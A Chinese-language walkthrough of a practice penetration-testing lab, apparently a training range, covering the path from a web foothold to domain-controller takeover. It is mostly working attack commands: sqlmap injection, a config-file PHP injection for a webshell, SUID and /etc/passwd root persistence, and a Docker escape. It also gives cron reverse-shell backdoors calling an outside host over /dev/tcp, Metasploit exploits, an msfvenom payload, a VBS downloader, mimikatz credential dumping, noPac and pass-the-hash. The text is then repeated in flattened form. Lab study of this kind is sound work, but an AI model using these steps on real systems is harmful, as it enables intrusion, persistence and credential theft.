从外网打点到内网漫游-入门级靶场渗透笔记
字数 1571 2025-08-12 11:34:48

从外网打点到内网漫游 - NASA靶场渗透实战教程

靶场概述

NASA靶场是一个综合考核网络安全能力的项目,主要考核从外网打点到渗透内网域控的全流程能力。靶场包含Linux和Windows系统,提供一个公网Web入口点,最终目标是获取五个flag。

涉及技术

  • 代码审计
  • 外网打点
  • 多种漏洞配合获取Webshell
  • Linux提权
  • Docker逃逸
  • 内网常见漏洞利用
  • 内网漫游
  • 域权限获取

环境搭建

内网穿透配置

由于靶机在本地,使用frp进行内网穿透:

VPS上的frps.ini

[common]
bind_port = 7788
token=token

本地靶机Ubuntu的frpc.ini

[common]
server_addr = 150.140.x.x
server_port = 7788
token = token

[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 80

访问http://150.140.x.x:80相当于访问http://192.168.110.173

外网打点

1. 端口扫描

使用masscan快速扫描:

masscan -p 1-65535 192.168.110.173 --rate=1000

使用nmap详细扫描:

nmap -p 80 192.168.110.173 -Pn -sV -oN result.txt
# -Pn 目标机禁用ping,绕过ping扫描
# -sV 对端口上的服务程序版本进行扫描
# -oN 结果导出

2. 目录扫描

使用ffuf工具:

ffuf -u "http://192.168.110.173/FUZZ" -w ./dict.txt -mc 200 -fs 0 -fl 1241
# -mc 200 筛选200状态码
# -fs 0 排除size为0的记录
# -fl 1241 排除自动跳转到主页/错误页的记录

发现重要目录:

  • /data - 目录浏览器
  • /admin/webadmin.php - 后台登录界面

3. 自动漏洞扫描

使用xray进行被动扫描:

xray.exe webscan --listen 127.0.0.1:7777 --html-output nasa.html

4. 弱口令爆破

发现验证码不变,可进行爆破:

  1. 收集网站信息进行社工字典生成
  2. 使用工具生成字典
  3. 使用BurpSuite进行爆破

5. 代码审计

审计思路:

  1. 搜索危险函数:system/exec/shell_exec/passthru/eval/file_put_contents
  2. 白盒测试:跟踪业务流程,查看关键点代码

SQL注入发现:

  1. 搜索mysql/mysqli关键字
  2. 查找select语句
  3. 分析参数是否可控
  4. 发现mobile_index模块存在未过滤的注入点

使用sqlmap验证:

sqlmap -u "http://192.168.110.173/user.php?mod=mobile_index" --data="id=1" --level=5 --risk=3

获取到MD5密码nasa123,解密后登录后台。

6. 获取Webshell

发现安装模块存在文件写入漏洞:

  1. 删除install.lock文件
  2. 访问安装页面
  3. 闭合PHP标签写入一句话木马
<?php
$pe['db_host'] = '127.0.0.1'; //数据库主机地址
$pe['db_name'] = 'test\';phpinfo();//'; //数据库名称
$pe['db_user'] = 'root'; //数据库用户名
$pe['db_pw'] = 'root'; //数据库密码
?>

成功获取Webshell。

Linux提权

1. 检查SUID文件

find / -perm -u=s -type f 2>/dev/null

发现find命令具有SUID权限。

2. 利用SUID提权

find . -exec /bin/sh \; -quit

3. 创建持久化root用户

openssl passwd -1 -salt hack 123456
echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/root:/bin/bash' >> /etc/passwd

4. 生成交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'
su hack

Docker逃逸

1. 检测Docker环境

cat /proc/1/cgroup | grep docker

2. 特权模式逃逸

fdisk -l
mkdir /test
mount /dev/sda1 /test
chroot /test

3. 设置持久化后门

echo 'bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.110.131/4444 0>&1'" >> /var/spool/cron/crontabs/root
echo 'root /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.110.131/4444 0>&1'" >> /etc/crontab

内网渗透

1. 路由转发

使用MSF的post/multi/manage/autoroute模块:

use post/multi/manage/autoroute
set session 2
run

2. 设置SOCKS代理

use auxiliary/server/socks_proxy
set SRVPORT 1080
run

配置/etc/proxychains4.conf

socks5 127.0.0.1 1080

3. 内网扫描

proxychains4 nmap -sS -Pn 192.168.110.0/24 -p 445,80

发现三台主机:

  • 192.168.110.144 (IIS 6.0)
  • 192.168.110.197
  • 192.168.110.142

4. 攻击IIS 6.0 (192.168.110.144)

利用CVE-2017-7269漏洞:

use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set rhosts 192.168.110.144
set payload windows/meterpreter/bind_tcp
run

5. 上传后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=7777 -f exe -o s.exe

使用VBS下载:

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>download.vbs
cscript downfile.vbs http://IP:8000/s.exe s.exe

6. 提权

使用MS09-020漏洞提权。

7. 获取密码哈希

load kiwi
kiwi_cmd sekurlsa::logonPasswords

得到密码QWEasd123

域渗透

1. 发现域控

net group "domain controllers" /domain
net time /domain

发现两个域控:

  • AD01.nasa.gov
  • AD02.nasa.gov

2. 利用noPac漏洞(CVE-2021-42278/42287)

proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 -shell --impersonate administrator

3. 获取域管理员哈希

proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 --impersonate administrator -dump -just-dc-user Administrator

得到哈希:

nasa.gov\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::

4. 哈希传递攻击(PTH)

使用psexec:

proxychains4 python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140

或使用WMI(更隐蔽):

proxychains4 python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140 -codec gbk

总结

本教程详细展示了从外网打点到内网漫游的完整渗透流程,涉及:

  1. 信息收集与漏洞扫描
  2. Web应用漏洞利用
  3. Linux提权与Docker逃逸
  4. 内网横向移动
  5. 域渗透与权限提升

关键点:

  • 多工具配合使用(masscan/nmap/ffuf/sqlmap)
  • 代码审计技巧
  • SUID提权方法
  • Docker特权逃逸
  • 内网路由转发与代理设置
  • noPac漏洞利用
  • 哈希传递攻击

通过这个靶场练习,可以全面掌握渗透测试的核心技能和流程。

从外网打点到内网漫游 - NASA靶场渗透实战教程 靶场概述 NASA靶场是一个综合考核网络安全能力的项目,主要考核从外网打点到渗透内网域控的全流程能力。靶场包含Linux和Windows系统,提供一个公网Web入口点,最终目标是获取五个flag。 涉及技术 代码审计 外网打点 多种漏洞配合获取Webshell Linux提权 Docker逃逸 内网常见漏洞利用 内网漫游 域权限获取 环境搭建 内网穿透配置 由于靶机在本地,使用frp进行内网穿透: VPS上的frps.ini 本地靶机Ubuntu的frpc.ini 访问 http://150.140.x.x:80 相当于访问 http://192.168.110.173 外网打点 1. 端口扫描 使用masscan快速扫描: 使用nmap详细扫描: 2. 目录扫描 使用ffuf工具: 发现重要目录: /data - 目录浏览器 /admin/webadmin.php - 后台登录界面 3. 自动漏洞扫描 使用xray进行被动扫描: 4. 弱口令爆破 发现验证码不变,可进行爆破: 收集网站信息进行社工字典生成 使用工具生成字典 使用BurpSuite进行爆破 5. 代码审计 审计思路: 搜索危险函数: system/exec/shell_exec/passthru/eval/file_put_contents 白盒测试:跟踪业务流程,查看关键点代码 SQL注入发现: 搜索 mysql/mysqli 关键字 查找 select 语句 分析参数是否可控 发现 mobile_index 模块存在未过滤的注入点 使用sqlmap验证: 获取到MD5密码 nasa123 ,解密后登录后台。 6. 获取Webshell 发现安装模块存在文件写入漏洞: 删除 install.lock 文件 访问安装页面 闭合PHP标签写入一句话木马 成功获取Webshell。 Linux提权 1. 检查SUID文件 发现 find 命令具有SUID权限。 2. 利用SUID提权 3. 创建持久化root用户 4. 生成交互式shell Docker逃逸 1. 检测Docker环境 2. 特权模式逃逸 3. 设置持久化后门 内网渗透 1. 路由转发 使用MSF的 post/multi/manage/autoroute 模块: 2. 设置SOCKS代理 配置 /etc/proxychains4.conf : 3. 内网扫描 发现三台主机: 192.168.110.144 (IIS 6.0) 192.168.110.197 192.168.110.142 4. 攻击IIS 6.0 (192.168.110.144) 利用CVE-2017-7269漏洞: 5. 上传后门 使用VBS下载: 6. 提权 使用MS09-020漏洞提权。 7. 获取密码哈希 得到密码 QWEasd123 。 域渗透 1. 发现域控 发现两个域控: AD01.nasa.gov AD02.nasa.gov 2. 利用noPac漏洞(CVE-2021-42278/42287) 3. 获取域管理员哈希 得到哈希: 4. 哈希传递攻击(PTH) 使用psexec: 或使用WMI(更隐蔽): 总结 本教程详细展示了从外网打点到内网漫游的完整渗透流程,涉及: 信息收集与漏洞扫描 Web应用漏洞利用 Linux提权与Docker逃逸 内网横向移动 域渗透与权限提升 关键点: 多工具配合使用(masscan/nmap/ffuf/sqlmap) 代码审计技巧 SUID提权方法 Docker特权逃逸 内网路由转发与代理设置 noPac漏洞利用 哈希传递攻击 通过这个靶场练习,可以全面掌握渗透测试的核心技能和流程。